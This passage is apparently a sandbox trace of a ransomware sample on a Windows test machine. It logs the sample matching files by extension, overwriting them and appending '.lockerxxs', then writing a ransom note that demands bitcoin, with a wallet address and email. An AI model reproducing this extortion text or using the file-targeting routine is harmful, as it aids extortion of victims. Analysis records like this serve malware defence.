HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.eml") returned 0 [0090.753] lstrlenA (lpString="*.eml") returned 5 [0090.753] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.msg") returned 0 [0090.753] lstrlenA (lpString="*.msg") returned 5 [0090.753] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.edb") returned 0 [0090.753] lstrlenA (lpString="*.edb") returned 5 [0090.753] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.accdb") returned 0 [0090.753] lstrlenA (lpString="*.accdb") returned 7 [0090.753] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.odb") returned 0 [0090.753] lstrlenA (lpString="*.odb") returned 5 [0090.753] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.java") returned 0 [0090.753] lstrlenA (lpString="*.java") returned 6 [0090.753] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.asm") returned 0 [0090.753] lstrlenA (lpString="*.asm") returned 5 [0090.753] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.pfx") returned 0 [0090.753] lstrlenA (lpString="*.pfx") returned 5 [0090.753] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.pem") returned 0 [0090.753] lstrlenA (lpString="*.pem") returned 5 [0090.753] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.p12") returned 0 [0090.754] lstrlenA (lpString="*.p12") returned 5 [0090.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.gpg") returned 0 [0090.754] lstrlenA (lpString="*.gpg") returned 5 [0090.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.vsd") returned 0 [0090.754] lstrlenA (lpString="*.vsd") returned 5 [0090.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.odg") returned 0 [0090.754] lstrlenA (lpString="*.odg") returned 5 [0090.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.raw") returned 0 [0090.754] lstrlenA (lpString="*.raw") returned 5 [0090.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.nef") returned 0 [0090.754] lstrlenA (lpString="*.nef") returned 5 [0090.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.svg") returned 0 [0090.754] lstrlenA (lpString="*.svg") returned 5 [0090.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.psd") returned 0 [0090.754] lstrlenA (lpString="*.psd") returned 5 [0090.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.vmx") returned 0 [0090.754] lstrlenA (lpString="*.vmx") returned 5 [0090.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.vmdk") returned 0 [0090.754] lstrlenA (lpString="*.vmdk") returned 6 [0090.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.vdi") returned 0 [0090.755] lstrlenA (lpString="*.vdi") returned 5 [0090.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.lay6") returned 0 [0090.755] lstrlenA (lpString="*.lay6") returned 6 [0090.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.mpeg") returned 0 [0090.755] lstrlenA (lpString="*.mpeg") returned 6 [0090.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.djvu") returned 0 [0090.755] lstrlenA (lpString="*.djvu") returned 6 [0090.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.tiff") returned 0 [0090.755] lstrlenA (lpString="*.tiff") returned 6 [0090.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.backup") returned 0 [0090.755] lstrlenA (lpString="*.backup") returned 8 [0090.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.pdf") returned 0 [0090.755] lstrlenA (lpString="*.pdf") returned 5 [0090.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.cert") returned 0 [0090.755] lstrlenA (lpString="*.cert") returned 6 [0090.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.docm") returned 0 [0090.755] lstrlenA (lpString="*.docm") returned 6 [0090.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.xlsm") returned 0 [0090.755] lstrlenA (lpString="*.xlsm") returned 6 [0090.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.dwg") returned 0 [0090.755] lstrlenA (lpString="*.dwg") returned 5 [0090.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.nd") returned 0 [0090.755] lstrlenA (lpString="*.nd") returned 4 [0090.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.tlg") returned 0 [0090.756] lstrlenA (lpString="*.tlg") returned 5 [0090.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.lgb") returned 0 [0090.756] lstrlenA (lpString="*.lgb") returned 5 [0090.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.mov") returned 0 [0090.756] lstrlenA (lpString="*.mov") returned 5 [0090.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.xdw") returned 0 [0090.756] lstrlenA (lpString="*.xdw") returned 5 [0090.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.ods") returned 0 [0090.756] lstrlenA (lpString="*.ods") returned 5 [0090.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", pszSpec="*.wav") returned 1 [0090.756] lstrlenA (lpString="*.wav") returned 5 [0090.756] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav" [0090.756] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav" [0090.756] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav." [0090.756] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav.lockerxxs" [0090.756] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\np19lhodlgr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.757] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x18aab [0090.757] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x73becf0, dwHighDateTime=0x1d5e816), lpLastAccessTime=0x407536*(dwLowDateTime=0xde6d5330, dwHighDateTime=0x1d5e7f8), lpLastWriteTime=0x40753e*(dwLowDateTime=0xde6d5330, dwHighDateTime=0x1d5e7f8)) returned 1 [0090.757] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.757] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x18a85, lpOverlapped=0x0) returned 1 [0090.761] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav") returned="Np19lHodLGr.wav" [0090.762] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.762] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x18a85, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x18a85, lpOverlapped=0x0) returned 1 [0090.763] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.763] CloseHandle (hObject=0x90) returned 1 [0090.763] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\np19lhodlgr.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\np19lhodlgr.wav.lockerxxs")) returned 1 [0090.765] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf86156a0, ftCreationTime.dwHighDateTime=0x1d5daa7, ftLastAccessTime.dwLowDateTime=0xd7c25520, ftLastAccessTime.dwHighDateTime=0x1d5dc96, ftLastWriteTime.dwLowDateTime=0xd7c25520, ftLastWriteTime.dwHighDateTime=0x1d5dc96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27000324, dwReserved1=0x4e00c4, cFileName="NXg", cAlternateFileName="")) returned 1 [0090.765] lstrcmpA (lpString1=".", lpString2="NXg") returned -1 [0090.765] lstrcmpA (lpString1="..", lpString2="NXg") returned -1 [0090.765] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\Np19lHodLGr.wav") returned="Np19lHodLGr.wav" [0090.765] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\", lpString2="NXg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg" [0090.765] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg") returned 75 [0090.765] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf86156a0, ftCreationTime.dwHighDateTime=0x1d5daa7, ftLastAccessTime.dwLowDateTime=0xd7c25520, ftLastAccessTime.dwHighDateTime=0x1d5dc96, ftLastWriteTime.dwLowDateTime=0xd7c25520, ftLastWriteTime.dwHighDateTime=0x1d5dc96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502658 [0090.765] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.765] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf86156a0, ftCreationTime.dwHighDateTime=0x1d5daa7, ftLastAccessTime.dwLowDateTime=0xd7c25520, ftLastAccessTime.dwHighDateTime=0x1d5dc96, ftLastWriteTime.dwLowDateTime=0xd7c25520, ftLastWriteTime.dwHighDateTime=0x1d5dc96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0090.765] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.765] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.765] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a08570, ftCreationTime.dwHighDateTime=0x1d5e773, ftLastAccessTime.dwLowDateTime=0x92090830, ftLastAccessTime.dwHighDateTime=0x1d5e2ae, ftLastWriteTime.dwLowDateTime=0x92090830, ftLastWriteTime.dwHighDateTime=0x1d5e2ae, nFileSizeHigh=0x0, nFileSizeLow=0x1557c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="cG-PF.m4a", cAlternateFileName="")) returned 1 [0090.766] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0090.766] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cG-PF.m4a") returned 1 [0090.766] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cG-PF.m4a") returned 1 [0090.766] lstrcmpiA (lpString1="", lpString2="cG-PF.m4a") returned -1 [0090.766] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\*.*") returned="*.*" [0090.766] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\" [0090.766] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\") returned="" [0090.766] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\HOW TO DECRYPT FILES.txt" [0090.766] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\nxg\\how to decrypt files.txt")) returned 0xffffffff [0090.766] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\nxg\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0090.767] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0090.767] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0090.769] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.769] CloseHandle (hObject=0x94) returned 1 [0090.769] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\", lpString2="cG-PF.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a" [0090.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.ems") returned 0 [0090.769] lstrlenA (lpString="*.ems") returned 5 [0090.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.db") returned 0 [0090.770] lstrlenA (lpString="*.db") returned 4 [0090.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.dbf") returned 0 [0090.770] lstrlenA (lpString="*.dbf") returned 5 [0090.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.myox") returned 0 [0090.770] lstrlenA (lpString="*.myox") returned 6 [0090.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.myo") returned 0 [0090.770] lstrlenA (lpString="*.myo") returned 5 [0090.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.qbw") returned 0 [0090.770] lstrlenA (lpString="*.qbw") returned 5 [0090.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.qbb") returned 0 [0090.770] lstrlenA (lpString="*.qbb") returned 5 [0090.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.qbm") returned 0 [0090.770] lstrlenA (lpString="*.qbm") returned 5 [0090.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.qbo") returned 0 [0090.770] lstrlenA (lpString="*.qbo") returned 5 [0090.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.qbx") returned 0 [0090.770] lstrlenA (lpString="*.qbx") returned 5 [0090.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.qba") returned 0 [0090.770] lstrlenA (lpString="*.qba") returned 5 [0090.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.qby") returned 0 [0090.770] lstrlenA (lpString="*.qby") returned 5 [0090.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.qbj") returned 0 [0090.771] lstrlenA (lpString="*.qbj") returned 5 [0090.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.ofx") returned 0 [0090.771] lstrlenA (lpString="*.ofx") returned 5 [0090.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.qif") returned 0 [0090.771] lstrlenA (lpString="*.qif") returned 5 [0090.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.mye") returned 0 [0090.771] lstrlenA (lpString="*.mye") returned 5 [0090.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", pszSpec="*.mbox") returned 0 [0090.771] lstrlenA (lpString="*.mbox") returned 6 [0090.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\NXg\\cG-PF.m4a", 